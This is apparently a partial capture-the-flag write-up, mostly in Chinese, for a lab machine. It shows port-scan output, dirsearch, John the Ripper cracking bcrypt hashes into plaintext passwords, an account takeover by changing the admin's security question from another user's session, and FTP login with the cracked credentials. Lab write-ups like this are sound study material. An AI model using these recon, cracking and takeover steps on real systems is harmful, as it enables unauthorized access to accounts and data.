./rustscan -a 10.10.11.79 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- 0day was here ♥
[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limitis lower than default batch size. Consider upping with--ulimit. May cause harm to sensitive servers [!] Your file limitis very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open10.10.11.79:21 Open10.10.11.79:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-1701:04 EST Initiating Ping Scan at 01:04 Scanning 10.10.11.79 [4 ports] Completed Ping Scan at 01:04, 0.11s elapsed (1 total hosts) Initiating Parallel DNS resolution of1 host. at 01:04 Completed Parallel DNS resolution of1 host. at 01:04, 0.01s elapsed DNS resolution of1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 01:04 Scanning 10.10.11.79 [2 ports] Discovered open port 80/tcp on10.10.11.79 Discovered open port 21/tcp on10.10.11.79 Completed SYN Stealth Scan at 01:04, 0.20s elapsed (2 total ports) Nmap scan report for10.10.11.79 Host is up, received echo-reply ttl 63 (0.097s latency). Scanned at 2025-11-1701:04:41 EST for0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 63 80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in0.44 seconds Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
1 2 3 4 5 6 7 8 9 10 11 12
ftp 10.10.11.79 Connected to 10.10.11.79. 220 (vsFTPd 3.0.5) Name (10.10.11.79:kali): anonymous 331 Please specify the password. Password: 530 Login incorrect. ftp: Login failed ftp> ftp> exit 221 Goodbye.
─# dirsearch -u http://file.era.htb /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. from pkg_resources import DistributionNotFound, VersionConflict
john hash.txt --wordlist=rockyou.txt Usingdefaultinputencoding: UTF-8 Loaded 6password hashes with6 different salts (bcrypt [Blowfish 32/64 X3]) Loaded hashes withcost1 (iteration count) varyingfrom1024to4096 Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status america (eric) mustang (yuri) 2g 0:00:01:550.03% (ETA: 2025-11-2108:41) 0.01735g/s 47.17p/s 193.6c/s 193.6C/s marias..ilovejack Use the "--show" optionto display allof the cracked passwords reliably Session aborted
但是登录上去没有文件可以修改,尝试以管理员的身份登录。
这里非常奇怪的是,以A用户的身份登录可以修改B用户的密保问题,利用这一点修改管理员的密保问题。
成功以管理员的身份登录。
下载底下的sign文件,发现有个邮箱,不知道有什么用。
GetEric
之后这一块没想到好的利用点,回去看ftp服务,发现yuri用数据库里的凭证可以登录上去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ftp10.10.11.79 Connected to 10.10.11.79. 220 (vsFTPd 3.0.5) Name (10.10.11.79:kali): yuri 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||62972|) 150 Here comes the directory listing. drwxr-xr-x 2004096 Jul 2208:42 apache2_conf drwxr-xr-x 3004096 Jul 2208:42 php8.1_conf